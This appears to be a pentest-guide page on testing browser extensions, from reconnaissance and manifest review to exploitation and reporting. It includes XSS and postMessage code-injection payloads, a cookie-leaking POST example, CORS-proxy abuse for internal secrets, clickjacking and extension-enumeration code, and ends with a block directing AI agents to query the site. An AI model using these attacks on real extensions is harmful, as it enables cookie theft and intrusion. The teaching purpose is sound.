# Browser Extension Security

> **Skill Level**: Intermediate\
> **Prerequisites**: JavaScript, browser extension architecture

## Extension Architecture

```
Browser Extension Components:
├── manifest.json (configuration)
├── Background scripts (persistent/service worker)
├── Content scripts (injected into web pages)
├── Popup (UI)
├── Options page (settings)
├── Web accessible resources
└── Native messaging (communication with native apps)
```

## Reconnaissance

### Finding Extensions to Test

```bash
# Chrome Web Store
https://chrome.google.com/webstore/category/extensions

# Firefox Add-ons
https://addons.mozilla.org/en-US/firefox/extensions/

# Enterprise extension policies
# Windows registry
reg query "HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist"
reg query "HKLM\SOFTWARE\Policies\Mozilla\Firefox\Extensions"

# macOS managed preferences
defaults read com.google.Chrome ExtensionInstallForcelist
```

### Extracting Extensions

```bash
# Chrome extension location (Windows)
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions\

# Chrome extension location (macOS)
~/Library/Application Support/Google/Chrome/Default/Extensions/

# Chrome extension location (Linux)
~/.config/google-chrome/Default/Extensions/

# Firefox extension location
~/.mozilla/firefox/PROFILE/extensions/

# Download CRX directly
https://clients2.google.com/service/update2/crx?response=redirect&prodversion=100.0&x=id%3DEXTENSION_ID%26installsource%3Dondemand%26uc

# Unpack CRX
unzip extension.crx -d extension_unpacked/

# Firefox XPI is just a ZIP
unzip extension.xpi -d extension_unpacked/
```

## Static Analysis

### Manifest.json Review

```json
// Key permissions to look for:
{
  "permissions": [
    "<all_urls>",           // Access to all websites - HIGH RISK
    "tabs",                 // Tab access
    "webRequest",           // Network request interception
    "webRequestBlocking",   // Block/modify requests
    "cookies",              // Cookie access
    "storage",              // Local storage
    "clipboardRead",        // Read clipboard
    "clipboardWrite",       // Write clipboard
    "nativeMessaging",      // Native app communication
    "management",           // Manage other extensions
    "history",              // Browser history
    "bookmarks",            // Bookmark access
    "downloads",            // Download management
    "geolocation",          // Location access
    "activeTab"             // Current tab access
  ],
  "content_scripts": [{
    "matches": ["<all_urls>"],  // Injected everywhere
    "js": ["content.js"]
  }],
  "web_accessible_resources": [  // Accessible by web pages
    "resources/*"
  ],
  "content_security_policy": "...",  // CSP (if weak)
  "externally_connectable": {        // Cross-origin messaging
    "matches": ["*://*.example.com/*"]
  }
}
```

### Code Analysis

```bash
# Search for dangerous patterns
grep -rn "eval(" extension_unpacked/
grep -rn "innerHTML" extension_unpacked/
grep -rn "document.write" extension_unpacked/
grep -rn "chrome.tabs.executeScript" extension_unpacked/
grep -rn "chrome.scripting.executeScript" extension_unpacked/
grep -rn "XMLHttpRequest\|fetch(" extension_unpacked/

# Search for hardcoded secrets
grep -rn "api_key\|apikey\|secret\|password\|token" extension_unpacked/

# Check for unsafe CSP
grep -rn "unsafe-eval\|unsafe-inline" extension_unpacked/

# Tools
# https://nickcapurso.com/ExCrack/
# https://nickcapurso.com/ExCrack/
```

## Common Vulnerabilities

### Cross-Site Scripting (XSS)

```javascript
// Vulnerable: innerHTML with untrusted data
document.getElementById('output').innerHTML = userInput;

// Vulnerable: eval with user data
eval(response.code);

// Vulnerable: Creating script elements
let script = document.createElement('script');
script.src = untrustedUrl;
document.body.appendChild(script);

// Testing: Inject via extension messaging
chrome.runtime.sendMessage(extensionId, {
  action: 'display',
  data: '<img src=x onerror=alert(1)>'
});
```

### Insecure External Communication

```javascript
// Vulnerable: HTTP instead of HTTPS
fetch('http://api.example.com/data');

// Vulnerable: No certificate validation (native messaging)
// Extension trusts native app blindly

// Vulnerable: Sending sensitive data to third parties
fetch('https://analytics.example.com', {
  method: 'POST',
  body: JSON.stringify({
    url: window.location.href,
    cookies: document.cookie
  })
});
```

### Message Passing Vulnerabilities

```javascript
// Vulnerable: No origin validation in content script
window.addEventListener('message', function(event) {
  // No origin check!
  chrome.runtime.sendMessage(event.data);
});

// Vulnerable: Background script trusts all messages
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
  // No sender validation!
  if (message.action === 'executeCode') {
    eval(message.code);  // RCE!
  }
});

// Attack from malicious webpage
window.postMessage({
  action: 'executeCode',
  code: 'alert(document.cookie)'
}, '*');
```

### Privilege Escalation via Web Accessible Resources

```javascript
// If web_accessible_resources includes sensitive scripts
// Attacker's webpage can include them

// manifest.json
"web_accessible_resources": [{
  "resources": ["sensitive.js"],
  "matches": ["<all_urls>"]
}]

// Attacker's page
<script src="chrome-extension://EXTENSION_ID/sensitive.js"></script>
```

### CORS/CSP Bypass

```javascript
// Extensions can bypass CORS
// Content script can make requests that web pages can't

// Vulnerable extension proxy pattern
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
  if (request.action === 'fetch') {
    fetch(request.url)  // No URL validation!
      .then(r => r.text())
      .then(sendResponse);
    return true;
  }
});

// Attack: Use extension as CORS proxy
chrome.runtime.sendMessage(extensionId, {
  action: 'fetch',
  url: 'https://internal-service.local/api/secrets'
}, response => console.log(response));
```

### Storage Vulnerabilities

```javascript
// Sensitive data in unencrypted storage
chrome.storage.local.set({
  api_key: 'secret123',
  user_token: 'jwt...'
});

// Accessible to other extensions with storage permission
// Or via XSS in extension context

// Check storage
chrome.storage.local.get(null, function(data) {
  console.log(data);
});
```

## Dynamic Testing

### Extension Debugging

```bash
# Chrome: Load unpacked extension
1. Go to chrome://extensions
2. Enable "Developer mode"
3. Click "Load unpacked"
4. Select extension directory

# Firefox: Temporary installation
1. Go to about:debugging
2. Click "This Firefox"
3. Click "Load Temporary Add-on"
4. Select manifest.json

# Debugging
# Open extension popup, right-click → Inspect
# Background script: chrome://extensions → "Inspect views"
```

### Intercepting Extension Traffic

```bash
# Set up Burp proxy
# Configure browser to use proxy

# For HTTPS, install Burp CA in browser

# Monitor extension network requests
# Look for:
# - Sensitive data transmission
# - API keys in requests
# - Insecure endpoints
```

### Testing Message Passing

```javascript
// From DevTools console on any page
// Send message to extension (if externally_connectable)
chrome.runtime.sendMessage('EXTENSION_ID', {
  test: 'payload'
}, response => console.log(response));

// If extension listens to postMessage
window.postMessage({
  type: 'extension_message',
  data: 'test'
}, '*');

// Test for prototype pollution
chrome.runtime.sendMessage('EXTENSION_ID', {
  '__proto__': { 'polluted': true }
});
```

### Content Script Testing

```javascript
// Check what content scripts are injected
// DevTools → Sources → Content Scripts

// Test for DOM XSS in content script
// If content script reads from DOM:
document.body.innerHTML = '<img src=x onerror="alert(1)">';

// Inject via URL (if script reads URL)
// https://example.com/#<script>alert(1)</script>
```

## Exploitation Techniques

### Clickjacking Extension UI

```html
<!-- If extension popup is frameable -->
<style>
  iframe {
    position: absolute;
    opacity: 0.01;
    z-index: 999;
  }
</style>
<iframe src="chrome-extension://EXTENSION_ID/popup.html"></iframe>
<button>Click me!</button>
```

### Native Messaging Exploitation

```bash
# If extension uses native messaging
# Find native host manifest

# Windows
%LOCALAPPDATA%\Google\Chrome\User Data\NativeMessagingHosts\

# macOS
~/Library/Application Support/Google/Chrome/NativeMessagingHosts/

# Linux
~/.config/google-chrome/NativeMessagingHosts/

# Native host manifest
{
  "name": "com.example.host",
  "description": "Native messaging host",
  "path": "/path/to/host",
  "type": "stdio",
  "allowed_origins": ["chrome-extension://EXTENSION_ID/"]
}

# If native app is vulnerable (command injection, etc.)
# Exploit via extension messaging
```

### Extension ID Enumeration

```javascript
// Detect installed extensions via web accessible resources
const extensionIds = [
  'cjpalhdlnbpafiamejdnhcphjbkeiagm',  // uBlock Origin
  'gighmmpiobklfepjocnamgkkbiglidom',  // AdBlock
  // ... more IDs
];

extensionIds.forEach(id => {
  const img = new Image();
  img.onload = () => console.log(`Extension ${id} is installed`);
  img.onerror = () => {};
  img.src = `chrome-extension://${id}/icon.png`;
});
```

## Tools

```bash
# Retire.js - Check for vulnerable libraries
# https://retirejs.github.io/retire.js/
retire --jspath extension_unpacked/

# Extension Recon
# https://nickcapurso.com/ExCrack/

# CRXcavator - Security analysis
# https://crxcavator.io/

# Extension Analyzer (manual)
# https://nickcapurso.com/ExCrack/

# Tarnish - Chrome extension analyzer
# https://thehackerblog.com/tarnish/

# Manual testing with Browser DevTools
# Network tab for traffic analysis
# Sources tab for code review
# Console for testing
```

## Checklist

```markdown
## Static Analysis
- [ ] Review manifest.json permissions
- [ ] Check for dangerous permissions
- [ ] Analyze background scripts
- [ ] Analyze content scripts
- [ ] Review web accessible resources
- [ ] Check CSP configuration
- [ ] Search for hardcoded secrets
- [ ] Check for vulnerable dependencies

## Dynamic Analysis
- [ ] Test message passing security
- [ ] Check for XSS in extension UI
- [ ] Test CORS bypass potential
- [ ] Analyze network traffic
- [ ] Check storage contents
- [ ] Test native messaging (if used)

## Exploitation
- [ ] Attempt XSS injection
- [ ] Test privilege escalation
- [ ] Check for clickjacking
- [ ] Test extension as proxy
- [ ] Enumerate other extensions
```

## Reporting Vulnerabilities

```markdown
## Chrome Extensions
- Report to developer first
- Chrome Web Store Security Team: chrome-webstore-support@google.com
- https://www.google.com/about/appsecurity/

## Firefox Add-ons
- Report to developer
- addons-security@mozilla.com
- https://www.mozilla.org/en-US/security/bug-bounty/
```

## Related Topics

* [XSS](/enumeration/web/xss.md) - Cross-site scripting
* [Code Review](/others/code-review.md) - Static analysis
* [Chrome DevTools](/enumeration/web.md) - Browser debugging


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentest-book.com/others/browser-extension-security.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
